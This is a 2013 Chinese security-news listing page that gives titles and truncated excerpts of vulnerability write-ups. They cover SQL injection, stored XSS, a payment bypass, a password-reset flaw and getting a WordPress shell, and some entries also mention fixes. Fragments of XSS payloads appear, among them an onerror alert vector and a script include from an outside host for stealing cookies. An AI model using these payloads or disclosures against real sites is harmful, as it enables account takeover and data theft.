- AraDown盲注及修复 2013-04-19 点击：2020 评论:0
- 李白白之Cross Site Scripting (XSS) attack 2013-04-19 点击：1654 评论:0
- 91宝宝童话存在支付绕过 2013-04-19 点击：1432 评论:0
- 佳品网任意密码修改漏洞 2013-04-19 点击：1690 评论:0
- 图虫网存储xss 可获取cookies 2013-04-19 点击：1631 评论:0
- 整理了一些XSS跨站代码 2013-04-19 点击：1594 评论:0
- 时时送订单系统后台登陆框post注入及修复 2013-04-19 点击：1495 评论:0
- Java防止SQL注入的几个途径 2013-04-19 点击：1580 评论:0
- 互动维客HDWiki(5.1及以下)各种xss 0day 2013-04-19 点击：2021 评论:0
- worldpress后台拿shell及修复方法 2013-04-19 点击：1461 评论:0
?php标题: ArDown (All Version) - Remote Blind SQL Injection作者: G-Bg22b@hotmail.com程序下载地址 :# ...
什么是xss攻击，网上的定义如下：XSS又叫CSS(CrossSiteScript)，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意脚本代码，当用户浏览该页之时，嵌入...
地址：支付地方通过修改提交的金额，搜狗电脑知识网，搜狗电脑知识网，可以导致支付绕过修复方案：应该懂得~作者 pfdz ...
佳品网某些逻辑流程中存在缺陷，导致可以修改任意用户密码，从而查看消费记录，个人住址等隐私信息，甚至进行消费等操作详细说明：最关键的找回密码流程处，搜狗电脑知识网，在确认验证码的有效...
危害大吧, cookies只要拿到了 账号+MD5密码就到手了,然后......详细说明：注册了在这里配置: 在标签处插入:ascript/src=//tmxk.org;!--a保...
!----!input value=img src=xx:x onerror=alert(1)//script/onload=alert(1)/script IE9style/on...
订单系统存在登陆框注入，www.Sogoupc.com，然后订单root权限，数据库等一些信息，然后进一步渗透修复方案：加强过滤验证作者 also ，搜狗电脑知识网 ...
java防SQL注入,最简单的办法是杜绝SQL拼接,SQL注入攻击能得逞是因为在原有SQL语句中加入了新的逻辑，搜狗电脑知识网，如果使用PreparedStatement来代替St...
可csrf、劫持首页、蠕虫等，cog也在其列。详细说明：由于偶尔原因发现cog存在wiki导致的xss可劫持首页，发现它的wiki是hdwiki的5.1版本。于是测试了其他的hdw...
拿shell方法来自法客的ytshengang基友（在原有的基础上有所增加） 本例子及fix方法是自己测试的。首先，打开wp站点，查看源码。从上图可以看到对方使用的是Hcms主题以...
